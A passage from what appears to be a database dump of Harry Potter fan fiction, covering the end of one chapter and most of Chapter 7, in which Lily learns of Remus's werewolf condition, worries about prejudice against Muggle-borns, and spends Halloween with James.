to.</p>\n\n<p>&nbsp;</p>\n<p>&quot;He will sleep until this evening and will stay with me through the night, too. You can go and sit with him if you want. A message has been sent to his friends and they should be here shortly.&quot;</p>\n\n<p>&nbsp;</p>\n<p>The door opened before Lily could make a step towards Remus\' bed, and Lucius Malfoy walked in with two other wizards, both much shorter than him.</p>\n\n<p>&nbsp;</p>\n<p>Madam Weasley\'s face went red. &quot;Being school governors does not give you the right to enter the infirmary like you would a pub,&quot; she said angrily, but keeping her voice down so as not to disturb her patient. &quot;I have a patient who needs his rest and quiet.&quot;</p>\n\n<p>&nbsp;</p>\n<p>One of the shorter wizards apologised profusely, saying that they had been assured that the hospital wing was not hosting any students at the moment. He lost no time in making his exit, dragging his short colleague with him. Lucius Malfoy looked towards the \'patient\' and his eyes narrowed.</p>\n\n<p>&quot;Is it prudent to let a student alone with young Mr Lupin?&quot; he asked in a dangerous whisper, his gaze flickering momentarily towards Lily before fixing itself on Madam Weasley. </p>\n\n<p>&nbsp;</p>\n<p>Lily was astounded. How could keeping Remus company be dangerous for her? And why was Lucius Malfoy so hostile about it?  She chanced a glance at Madam Weasley and was surprised when saw the expression on her face. She knew that the old nurse could get quite worked up when someone intruded upon her territory, but she had never seen her so angry. She looked like a wolf mother defending her cubs. </p>\n\n<p>&nbsp;</p>\n<p>&quot;I know what is best for my patients better than you, Mr Malfoy,&quot; she said curtly. &quot;Your late father knew it and left me in peace; you\'d better take a leaf out of his book and do likewise.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lucius Malfoy sneered and didn\'t deign to reply. Lily caught his eyes before he left and didn\'t like what she could read in their cold depth one bit.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p align="CENTER">******************</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>James, Sirius and Peter arrived shortly after Malfoy\'s departure and were concerned to find their friend lying in the bed, his face very pale.</p>\n\n<p>&nbsp;</p>\n<p>Madam Weasley rounded on them as soon as Lily had finished explaining what had happened.</p>\n\n<p>&nbsp;</p>\n<p>&quot;You didn\'t suspect anything?&quot; she asked them severely.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Well, we noticed that he wasn\'t always very well,&quot; James started. Peter and Sirius nodded in agreement and he went on. &quot;But we thought it had to do with&#8230; with his condition.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Was it her imagination or did James glanced uncomfortably at her before his slight hesitation? It was the first time that she&#8217;d heard that Remus had a &#8216;condition&#8217;. She kept silent but was determined to clear the mystery up.</p>\n\n<p>&nbsp;</p>\n<p>Madam Weasley ushered them out of the room some time later telling them that Remus was going to be fine and that they could come back that evening to see if he was awake. Sirius and Peter headed for Gryffindor Tower but James held Lily back.</p>\n\n<p>&nbsp;</p>\n<p>&quot;There\'s something I want to show you,&quot; he said. &quot;Call it an extra birthday present if you want.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;My! Aren\'t I getting spoiled today!&quot; Lily exclaimed.</p>\n\n<p>&nbsp;</p>\n<p>&quot;But don\'t you love it?&quot; James teased. &quot;Come on,&quot; he said, taking her hand. &quot;We\'re going to miss the perfect moment if we don\'t hurry.&quot;</p>\n\n<p>&nbsp;</p>\n<p>James was leading her back down to the entrance hall at a good pace. On the way they met a cheerful Dumbledore who wished a happy birthday to Lily. He was in the company of Professor Raven who didn\'t seem particularly thrilled to see them. He also politely wished Lily a happy birthday but only bowed his head curtly in recognition to James before walking away with the Headmaster.</p>\n\n<p>&nbsp;</p>\n<p>Lily\'s suspicions that the two had met each other before were re-enforced, and when she asked him about it, James replied vaguely that he had met him once or twice.</p>\n\n<p>&nbsp;</p>\n<p>As they stepped onto the front porch, James looked at his watch, a Muggle model, and announced that they would have to run.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Run?&quot; Lily asked, puzzled.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Yes, run, with the two legs you were born with.&quot; James pulled at her hand and dragged her toward this edge of the Forbidden Forest. </p>\n\n<p>&nbsp;</p>\n<p>Lily stopped thinking and just let herself be guided by the boy running in front of her. Their pounding feet beat the ground in a regular cadence as the wind whistled in her ears. James stopped when they arrived at the entrance of the forest. It didn\'t look at all menacing on that fine morning, and Lily didn\'t protest when James pulled her along with him down a narrow path that was snaking between the lush vegetation. The light was dimmer in the forest but quite sufficient for them to see where they were putting their feet. After a minute or two, the path widened and the trees became taller. When James stopped, Lily found herself standing next to an old and venerable looking willow, its foliage so thick you couldn\'t even see the trunk. James took a step and went straight through the green curtain, dragging Lily with him. </p>\n\n<p>&nbsp;</p>\n<p>On the other side it was like standing under a high green vault whose walls were singing softly along with the wind. But they didn\'t linger there, and James led her through another green curtain of leaves to find themselves on another winding path. This one wasn\'t as well kept as the other though, and they often had to skirt protruding roots or push aside branches.</p>\n\n<p>&nbsp;</p>\n<p>When James stopped again they were standing at the edge of a small clearing. The trees surrounding it were so tall and their tops were so close to each other that the rays of the morning sun hadn\'t touched it yet, and it lay in a quiet shadowy light.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Here we are,&quot; he whispered.</p>\n\n<p>&nbsp;</p>\n<p>&quot;And what is \'here\' exactly?&quot; Lily whispered back.</p>\n\n<p>&nbsp;</p>\n<p>&quot;This is a place I discovered in my second year, and no one else knows of it. Not even Hagrid, I think, or else the path we took wouldn\'t be so wild.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily listened to the sounds of the forest and inhaled deeply. Could it be&#8230;? </p>\n\n<p>&nbsp;</p>\n<p>&quot;James! I think I can smell -&quot;</p>\n\n<p>&nbsp;</p>\n<p>James put a finger on her lips to stop her. &quot;Sshh. Wait a minute.&quot;</p>\n\n<p>&nbsp;</p>\n<p>He didn\'t move his finger, and they both watched as the sun slowly flooded the clearing. It was nothing really, just a patch of grass in the middle of a circle of trees, but Lily already liked it more than her \'secret room\' back in the castle. And she had smelled right! There, between two big trunks, was a raspberry bush abundantly loaded with delicious pinkish-red fruits.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Happy birthday, Lily,&quot; James said quietly, removing his finger from her lips.</p>\n\n<p>&nbsp;</p>\n<p>Her eyes still open wide with surprise, Lily turned to him. It curiously seemed to her as if he had offered her the world, or more precisely, his world. </p>\n\n<p>&nbsp;</p>\n<p>As Lily usually never knew what to say when she was experiencing powerful emotions, she hoped that James would forgive what would come out of her mouth next.</p>\n\n<p>&nbsp;</p>\n<p>&quot;You found a place with a raspberry bush in your second year and you never told me?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Well, that wasn\'t too bad. It certainly could have been worse. And James was laughing. Good sign.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Actually the bush is your present,&quot; he said. &quot;It wasn\'t here when I discovered the place. I brought it here last year so it would be ready for your birthday. It\'s an enchanted variety and will produce raspberries all year long so you can indulge without any guilt.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily looked at her bush for a moment before turning back to James, her eyes shining with gratitude. </p>\n\n<p>&nbsp;</p>\n<p>&quot;Thank you,&quot; she said. &quot;It\'s the best gift I have ever received, and I\'m glad it came from you.&quot;</p>\n\n<p>&nbsp;</p>\n<p>She took both his hands and led him into the light of the clearing. They spent the rest of the morning and a good part of the afternoon sitting there, talking and eating fresh raspberries from Lily\'s new bush, all worries forgotten for a while.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n\n'),
	(170, 7, '\n\n<b></b><p><b>Author&#8217;s notes :</b> Here you go, another chapter to keep you occupied on this cold week-end! We make a bit of a jump in time since Hogwarts is getting ready for Halloween. I hope you enjoy it and don&#8217;t forget to review please.</p>\n<b><u>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n</u></b><p><b><u>Chapter 7</u>: Of  Skeletons and &#8216;Autumn Fantasies&#8217;</b>.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>When Lily studied her reflection in the mirror on the last morning of October, she wondered where the frightened and insecure girl of the past months was. Her eyes were clear and her face looked fresh and rested. Since her birthday, life had been as smooth and normal as it could be in a wizarding school since her birthday, and her past worries, if not forgotten, were no longer an obsession.</p>\n\n<p>&nbsp;</p>\n<p>Her breakdown in front of James back in September was one thing she couldn&#8217;t explain any more. She couldn&#8217;t remember clearly what was said, but she felt she had blown things utterly out of proportion. However, she couldn&#8217;t complain about the results since she was now conscious of the importance of their strange friendship, and things were altogether much better between them.</p>\n\n<p>&nbsp;</p>\n<p>After the chaos Voldemort had managed to create in Diagon Alley last July, a flock of the best-trained Aurors was on his trail, and he seemed to be lying low for the time being. As usual, thinking of the Diagon Alley attack made Lily&#8217;s heart go out to Marian, who had suffered so much because of it. She fervently hoped it wouldn&#8217;t be long before the dark wizard and his supporters were locked securely in the sinister prison of Azkaban.</p>\n\n<p>&nbsp;</p>\n<p>Something soft brushing against her leg broke her train of thought. It was Cl&#233;obulle, who wanted to be let out of the room for his morning stroll.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Alright, alright,&quot; Lily said, turning away from the mirror. &quot;I suppose it&#8217;s time for me to go too; I&#8217;ve already skipped breakfast and I don&#8217;t want to be late for my first class.&quot;</p>\n\n<p>&nbsp;</p>\n<p>She picked up her school bag at the foot of her bed, made sure her Prefect badge was clean and prominently visible and opened the door of the empty dormitory. Cl&#233;obulle sneaked through it and set off down the stairs to the common room in a flash. Lily didn&#8217;t have to worry about letting him out through the portrait hole since it seemed he knew of other ways to come and go as he pleased. The Pet Tracker Howard had given her for her birthday would allow her to see how her cat got out, but she had never used it to date and didn&#8217;t plan to do so unless he went missing for an alarming amount of time.  She had the velvet bracelet in the pocket of her robes, but she only played with the little charm to occupy her fingers.  After all, even cats deserved to have their secrets.</p>\n\n<p>&nbsp;</p>\n<p>And besides, she had other things on her mind at the moment. Two things, to be precise, and the first one was Remus&#8217; mysterious condition.</p>\n\n<p> She had a very good idea as to what it might be. She had been observing him and the boys closely since his release from the Hospital wing, and Lily was by no means a dense witch. A list of symptoms she&#8217;d written down and a visit to the library had provided her with two solutions: either Remus&#8217; family was really prone to falling sick, or Remus was a werewolf. She was leaning towards the second solution, especially after she had finally put together the pieces of information unwittingly given by Madam Weasley about the silver, the wound and the poison. But she needed to be certain of it. And the first concrete step to discovering the truth was going to be made this morning.</p>\n\n<p>&nbsp;</p>\n<p>Walking briskly along the corridors, she made her way to the Great Hall, hoping to catch Marian before she left for the first class of the day. Luck was with her, and her friend was just getting up from her seat when Lily arrived at the Gryffindor table. She grabbed a cold piece of toast with one hand and Marian&#8217;s arm with the other.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I need your help with something,&quot; Lily whispered on the way to the dungeons. It was Friday morning and they had Double Potions with the Slytherins.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Explain.&quot;  Marian calmly freed her arm from Lily&#8217;s death grip and adjusted her the strap of her school bag on her shoulder.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I need you to find another partner for Potions today. There&#8217;s something I want to discuss with Peter in private without looking suspicious. Remus has left to visit his old grandmother and it&#8217;s the perfect opportunity.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;You think that it won&#8217;t look suspicious that you&#8217;re sitting with Peter in the first place?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Not if we make it look like you and I had an argument and don&#8217;t want to sit with each other.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;But we&#8217;re doing the advanced Dreamless Sleep Potion today!&quot; Marian protested. &quot;With Remus away, there&#8217;ll be an odd number of students in the class, and I don&#8217;t want to do that potion by myself; it&#8217;s quite complicated.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I bet you could do it with your eyes closed,&quot; Lily countered. When she saw Marian wasn&#8217;t pleased she hastily added, &quot;But I&#8217;m not asking you to sit alone today; someone else won&#8217;t be here this morning and you&#8217;ll have a partner.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Who?&quot; asked Marian suspiciously.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Well, I know from a reliable source that Avery got into a nasty accident yesterday at Quiddicth practice, and he&#8217;ll be in the Hospital Wing for the remainder of the week. So you see, you&#8217;ll be able to work with -&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;There&#8217;s <i>no</i> way I&#8217;m sitting with Snape, Lily.&quot; </p>\n\n<p>&nbsp;</p>\n<p>Marian had gone red, and her voice was frantic and high-pitched, totally unlike her usual tone.</p>\n\n<p>&nbsp;</p>\n<p>Lily knew she was asking a lot: there was no love lost between Marian and Severus Snape, and the two were in fierce competition to get the better grades in Potions. But the opportunity she had been trying to find for the past two weeks was unexpectedly presenting itself, and she couldn&#8217;t let it pass. Class was the only place from which Peter wouldn&#8217;t be able to escape if she asked provocative questions.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I&#8217;m sorry I have to ask you this, Marian. But please, do it for me.&quot;</p>\n\n<p>&nbsp;</p>\n<p>The two friends had stopped in front of the classroom, and students were walking past them to take their seats. Marian looked for a moment at the lonely figure of Severus Snape, already seated at his usual desk in the front row. Turning back to face Lily, she saw James, Peter and Sirius turning the corner and walking towards them. She heaved a big sigh and whispered, &quot;You owe me big, Lily.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Out loud she said harshly, &quot;I&#8217;m sick of you looking after me as if I was a baby, Lily. I can take care of myself and decide who I want to trust enough to be friends with. If you&#8217;re not happy about me going to the Ball with Gregory Wentworth it&#8217;s your problem, not mine.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Marian left Lily standing there and marched into the classroom. She slammed her bag onto the desk next to Snape and sat down without looking at him.</p>\n\n<p>&nbsp;</p>\n<p>Back in the corridor Lily smiled sheepishly at the three boys who were looking at her dumbfounded.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Mind if I sit with you Peter?&quot; she asked. She had no problem trying to look disorientated and a bit upset; she hadn&#8217;t known Marian was going to the Christmas Ball with Wentworth, and it was true that she wasn&#8217;t happy about it. </p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p align="CENTER">***************************</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;So Peter, do you know if all the silver&#8217;s gone from Remus&#8217; blood?&quot; Lily asked casually as she sprinkled a bit of powdered camomile into the bubbling cauldron.</p>\n\n<p>&nbsp;</p>\n<p>Peter&#8217;s hand slipped, and he nearly chopped off his finger instead of the liquorice roots disposed in neat rows in front of him. Hiding a smirk, Lily started to idly stir the potion and went on. &quot;It&#8217;s a wonder he lasted so long. Poor Remus; silver in his body is one of the worst things that could happen to him, isn&#8217;t it?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Peter opened and closed his mouth like a fish a few times before he could utter a sound. &quot;Wh-what do you mean?&quot; he finally squeaked.</p>\n\n<p>&nbsp;</p>\n<p>Lily leaned close to him, still stirring, and whispered in a conspiratorial tone. &quot;Well, surely you know he should avoid silver like the plague because of his &#8230; err &#8230; condition.&quot;</p>\n\n<p>&nbsp;</p>\n<p>She watched with glee as all the blood left Peter&#8217;s face, and he looked helplessly in front of him at the backs of James&#8217; and Sirius&#8217; heads. Oblivious, the two friends were diligently working on their potion. They usually tried to mess up Snape and Avery&#8217;s work, but Marian&#8217;s presence at the side of their favourite target stopped them this time. Knowing that no help would come, Peter gulped and turned to Lily.</p>\n\n<p>&nbsp;</p>\n<p>&quot;How long have you known?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily was surprised to obtain her answer so quickly and so easily.  She had done well to seek out Peter instead of James or Sirius, both too sharp and cunning for their own good. Not that Peter was an idiot; she was rather fond of him, but he was, unfortunately for him, lacking cool and self-control under pressure. &quot;I&#8217;ve known for a while,&quot; she lied smoothly, reaching out to take the knife out of his trembling hand. &quot;A werewolf is easy to spot when you&#8217;re specifically looking for one.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Does anyone else know about it?&quot; Peter asked fearfully, opening his eyes wide.</p>\n\n<p>&nbsp;</p>\n<p>&quot;No-one else knows and no-one will.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Some colour came back to Peter&#8217;s face at these words and he seemed to regain a semblance of composure. He looked suspiciously at Lily.</p>\n\n<p>&nbsp;</p>\n<p>&quot;How come you never told us?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily smirked. If he thought he would destabilise her with that&#8230;  She started to chop the liquorice roots herself, staying silent for a while, pretending to ponder the question.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I wanted to see how long you would go on lying and hiding it from me,&quot; she said at last. &quot;You were never going to tell me, were you?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Dumbledore made us promise we wouldn&#8217;t tell anyone.&quot;</p>\n\n<p>&nbsp;</p>\n<p>She should have guessed Dumbledore knew of Remus&#8217; condition. The man seemed to know everything that went on in the castle.</p>\n<p> </p>\n\n<p>&quot;I see.&quot; Lily nodded noncommittally and added the roots in the cauldron. She was really enjoying making this potion. For once, they weren&#8217;t using too many bizarre or slimy ingredients, and what they were preparing was close to a Muggle concoction. For her part, she wouldn&#8217;t mind drinking it if the need ever arose; it smelled much better than the standard Dreamless Sleep potion they had made back in fourth year.</p>\n\n<p>&nbsp;</p>\n<p>&quot;You, err, you want me to tell Remus that you know?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily turned back to Peter sharply. &quot;No. Don&#8217;t say anything, not even to James and Sirius. I wasn&#8217;t meant to discover anything, after all.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Alright,&quot; Peter said uncertainly. &quot;If that&#8217;s what you want&#8230;&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;That&#8217;s what I want, Peter,&quot; Lily said with finality, extinguishing their little fire with a flick of her wand. </p>\n\n<p>&nbsp;</p>\n<p>The potion was ready to be tested, bottled and sent off to refurnish Madam Weasley&#8217;s stock.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p align="CENTER">**********************</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>At the end of the lesson, Lily was about to follow her classmates out of the room when she heard Professor Septimus ask Marian to stay behind. She waited in the doorway, not meaning to eavesdrop but catching the conversation all the same.  </p>\n\n<p>&nbsp;</p>\n<p>Professor Septimus was a kind wizard who had already seen many winters. Lily liked him because he didn&#8217;t seem to favour a particular house, unlike some other teachers. He was particularly fond of his two best students, Marian and Snape, and Lily had seen him taking a particular interest in their work during the lesson. It must have been a pleasing surprise for him to see them working together.</p>\n\n<p>&nbsp;</p>\n<p>&quot;How are you doing with your Potions project, Miss MacMillan?&quot; he asked.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I think I&#8217;m doing fine, Sir,&quot; Marian answered proudly. &quot;I&#8217;m moving slowly, but it will be worth it.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Septimus nodded. &quot;If you are happy with it, then that&#8217;s fine. But I want you to know that if you ever want to change and choose something else you can tell me. You are working on something very advanced, and more than one wizard broke their teeth on their cauldron while attempting to do the same thing as you.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I know I have very little hope of finding the real antidote I want, Professor. But I won&#8217;t give up and there&#8217;s nothing to lose,&quot; Marian said determinedly. </p>\n\n<p>&nbsp;</p>\n<p>&quot;I have great faith in you, my dear.&quot; Septimus smiled. &quot;And I will give you a piece of advice too.&quot; Marian nodded and the professor went on. &quot;You can go and see Belinda Browning in Hogsmeade, tell her you came on my recommendation and she will help you. I know she&#8217;s up to her elbows in brioche batter now, but she is still an exceptional Potions brewer.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Thank you, Professor.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;You&#8217;re welcome, child.&quot;</p>\n\n<p>&nbsp;</p>\n<p>When Marian turned to leave the classroom and, noticing her friend standing at the door, she smiled the happiest smile Lily had seen her give in weeks. Marian waited until they were out of earshot of Septimus before exclaiming, &quot;Oh, Lily! I&#8217;m going to work with Belinda Browning! <i>The </i>Belinda Browning! I know I should be angry with you for making me work with Severus, but I&#8217;m really too ecstatic for that! I&#8217;m going to McGonagall right away to ask her if I can go to Hogsmeade on special permission tomorrow. I&#8217;ll see you in History of Magic!&quot;</p>\n\n<p>&nbsp;</p>\n<p>Completely oblivious to the fact she had just called Snape &#8216;Severus&#8217; for the first time in her life, Marian took off at an amazing speed and Lily found herself walking alone to the Great Hall to get some lunch. Now that she had tricked Peter into giving her the confirmation she needed, she was free to concentrate on her second big task of the day. And for that she would have to talk to Howard.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p align="CENTER">********************************</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>The brief visit from the Board of Governors last month hadn&#8217;t changed anything in the running of the school as yet. They just toured the school, spoke with the staff and had a long meeting with Professor Dumbledore. They weren&#8217;t too discreet when they walked the corridors, and it wasn&#8217;t hard to listen to their conversations if you wanted to. Being a prefect, Lily had paid close attention to what was going on, and she hadn&#8217;t liked one bit what she&#8217;d heard. </p>\n\n<p>It seemed than quite a few of the twelve governors weren&#8217;t keen on providing a magical education to Muggle-born children. Only a couple of them were strongly against it, though; the others seemed to want to have Muggle-borns pay tuitions to attend Hogwarts.</p>\n\n<p>.</p>\n\n<p>Lily had read in <i>Hogwarts: A History</i> that the four Founders of the school prided themselves on providing a quality education for everyone, no matter their social status. &#8216;Tuition&#8217; and &#8216;Hogwarts&#8217; were two words never used in the same sentence until now. The uniforms, books and other supplies had to be bought, but everything else was free of charge. The Ministry of Magic paid the teachers their salary, and rich, powerful wizarding families made donations to the school. The use of House Elves played a great role too, and although Lily felt a bit uncomfortable with the fact they weren&#8217;t paid, she knew it helped support the policy of the Founders about a free education.</p>\n\n<p>&nbsp;</p>\n<p>The &#8216;Muggle-born bashing&#8217;, as she called it, was becoming bad enough amongst the students, and it would surely get out of hand if it were known that the Governors themselves were being unnecessarily narrow-minded. </p>\n\n<p>&nbsp;</p>\n<p>That was the reason Lily was looking for Howard Clint after the end of lessons. Owing to the preparations for the Halloween Feast, the weekly Prefect Meeting had been rescheduled for tomorrow, and it was absolutely fine with Lily: if she could convince Howard today, the Muggle-born issue would be addressed tomorrow. Although Howard didn&#8217;t have a drop of Muggle blood in his veins, it was his duty as Head Boy to stand up against unjust discrimination and harassment. The only glitch in Lily&#8217;s argument was that the discrimination and harassment were quite insidious and nearly impossible to prove. All the known &#8216;victims&#8217; refused to testify, fearful of reprisals.  Lily had comforted quite a number of young Muggle-born girls since she had been appointed a Prefect; they seemed to be the favourite targets since they weren&#8217;t likely to challenge their adversaries to a duel after being insulted. And Lily was sure that the students suffering the worst abuses kept quiet and would never approach a Prefect.</p>\n\n<p>&nbsp;</p>\n<p>Lily shrugged off these discouraging thoughts and kept looking for Howard.</p>\n\n<p>&nbsp;</p>\n<p>She found him in the Entrance Hall. He was busy directing three fifth year Prefects, showing them with his wand exactly where he wanted the enchanted skeletons to be hung. It was a tricky business since the Fixing spells were applied on strategic bones so that the skeletons wouldn&#8217;t fall apart once they were hung high on the walls.</p>\n\n<p>&nbsp;</p>\n<p>Howard was surprised to see her, since he knew how much she hated decorating the rooms for special occasions.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Come to hang or to be hung?&quot; he joked.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Neither.&quot; Lily frowned at the walls covered with spider-webs. She hated Halloween. &quot;I&#8217;d like to talk to you for a moment. Somewhere private if possible. I trust you can leave your diligent workers alone for a while.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Just as she finished her sentence, the skeleton the three Prefects had been carefully levitating lost its left leg, which fell on the stone floor with a clatter.</p>\n\n<p>Howard sighed. &quot;All right you lot, go and check on the pumpkins in the Great Hall. I have to leave for a while. We&#8217;ll carry on with the skeletons when I come back.&quot; </p>\n\n<p>Lily took him to the small room used to &#8216;park&#8217; the first years before the Sorting ceremony. No one ever came in here and they would be guaranteed privacy. </p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p align="CENTER">**********************************</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Eating her pumpkin pie that evening, Lily found it hard to join in with the merry mood of her schoolmates. Her conversation with Howard hadn&#8217;t been a total disaster, but she had failed. Howard, in his gentle but firm Head Boy voice, had told her that he couldn&#8217;t bring up the Muggle-born issue as there was no concrete evidence of them being treated differently to the others. He was sure that it was nothing to worry about anyway. Lily knew him well and she guessed he wasn&#8217;t being completely honest, but he had refused to reconsider his decision when she asked.  She told herself she wouldn&#8217;t be angry with him: he was right about the lack of evidence.  Besides, she had tested the waters with the other Prefects during the past few months, and none of them seemed too keen to broach the subject.</p>\n\n<p>&nbsp;</p>\n<p>Hogwarts seemed to be in blissful denial, Lily thought sombrely as she looked around the Great Hall. Every one seemed to be having fun tonight. Even the teachers were relaxed, and they laughed readily at the students&#8217; antics.</p>\n\n<p>&nbsp;</p>\n<p>Lily moved her eyes back to her slice of pumpkin pie. She had been staring at it morosely for a while when a hand on her shoulder made her jump. She turned in her seat and saw James standing close to her, a smile on his face. He jerked his head toward the doors, not speaking the question she wouldn&#8217;t have heard with all the noise around them. Lily nodded and they left the hall together.</p>\n\n<p>&nbsp;</p>\n<p>They didn&#8217;t go far though, and sat down on the porch under the lantern, as they had done nearly two months ago. It was chillier than back in September, and the lantern - transfigured into an unfriendly-looking pumpkin for the occasion - was casting an eerie light on the front steps this time.</p>\n\n<p>&nbsp;</p>\n<p>&quot;You know, you never told me why you don&#8217;t like Halloween, Lily,&quot; James said conversationally as he reclined against the wall.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Maybe because you never asked.&quot; Lily cast a warming charm on her and James&#8217; robes to keep the cold away and conjured a small blue fire she set in front of them. With that and the comfort of the strong shoulder she was leaning against, Lily felt quite cosy. </p>\n\n<p>&nbsp;</p>\n<p>&quot;Well, I&#8217;m asking you now.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;There isn&#8217;t a particular reason. I&#8217;ve never liked it for as long as I can remember, and I&#8217;m even a little afraid of it.&quot;</p>\n\n<p>&nbsp;</p>\n<p>James chuckled. &quot;You, afraid of dancing skeletons and grimacing giant pumpkins? I would never have guessed.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Don&#8217;t be silly. I can dismember skeletons and smash pumpkins quicker than Sirius can hex Snape. It&#8217;s just that the possibility of the dead walking the Earth for a night doesn&#8217;t agree with me. I think it&#8217;s Death I&#8217;m afraid of, actually.&quot;</p>\n\n<p>&nbsp;</p>\n<p>James put a reassuring arm around her shoulders. &quot;You&#8217;re not going to die anytime soon Lily, and certainly not on a Halloween night,&quot; he said gently.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I know. There are three hundred and sixty four other days for me do die on, so I suppose I can safely say I have a very slim chance of leaving this world on the thirty-first of October.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;We&#8217;re too young to be talking about death,&quot; James chided. &quot;Here, I&#8217;ve got something to cheer you up.&quot;</p>\n\n<p>&nbsp;</p>\n<p>He delved his free hand into his pocket and took out a white paper bag with three big Bs printed in red on it. </p>\n\n<p>&nbsp;</p>\n<p>&quot;James! You sneaked into Hogsmeade again!&quot; Lily reprimanded sternly. But she wasn&#8217;t able to keep her fa&#231;ade for long, and broke into a broad smile. &quot;Did you take some &#8216;Autumn Fantasies&#8217;?&quot; she asked eagerly, snatching the bag from his hands. &quot;Oh, I could kiss you right now. In fact, I <i>will.</i>&quot; And she gave him a quick peck on the cheek, not caring that she was acting like a ten years old. Besides, she knew that James didn&#8217;t mind, since he was laughing and his eyes were twinkling.</p>\n\n<p>&nbsp;</p>\n<p>Lily opened the bag and fished out the two large brioches for James and herself. </p>\n\n<p>&nbsp;</p>\n<p>&quot;Now, that&#8217;s what I call a proper treat,&quot; she said, her mouth full. &quot;Pumpkin pie is good but it doesn&#8217;t compare with Belinda&#8217;s creations.&quot;</p>\n\n<p>&nbsp;</p>\n<p>James laughed again. &quot;You can have mine if you want. I&#8217;ve never been too fond of the &#8216;Autumn&#8217; ones.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily shook her head, laughing too. &quot;I want to be able to fit through the portrait hole when we go back to the Tower. Which one is your favourite, anyway?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;The Winter ones. I&#8217;ve always been a hopeless case where chocolate is involved.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;The &#8216;Winter Gourmandises&#8217; are good too,&quot; Lily agreed, licking fig cream from her finger.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I guess I have to eat my brioche then, since you don&#8217;t want it.&quot; James sighed.</p>\n\n<p>&nbsp;</p>\n<p>Lily snorted. &quot;You say that as if it were torture to do so, you poor delicate thing.&quot;</p>\n\n<p>They ate their brioches in silence for a while before Lily decided to ask a question she had been tossing and turning in her head for quite some time now. </p>\n\n<p>&nbsp;</p>\n<p>&quot;James, do you think you could teach me how to block and dodge curses like you do?&quot;</p>\n\n<p>&nbsp;</p>\n<p>The question had come so out of the blue that James nearly choked on his brioche. &quot;What?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I know we did that in class at the beginning of the year, but I&#8217;m no good at it,&quot; Lily went on. &quot;I went to see Howard for his first duel in the Competition and I was really impressed. It was beautiful to watch. It&#8217;s too late to enrol in the Club now, and I thought that maybe you could teach me&#8230;&quot; she faltered and grew hesitant. &quot;But if you don&#8217;t want to or if you don&#8217;t have time it&#8217;s 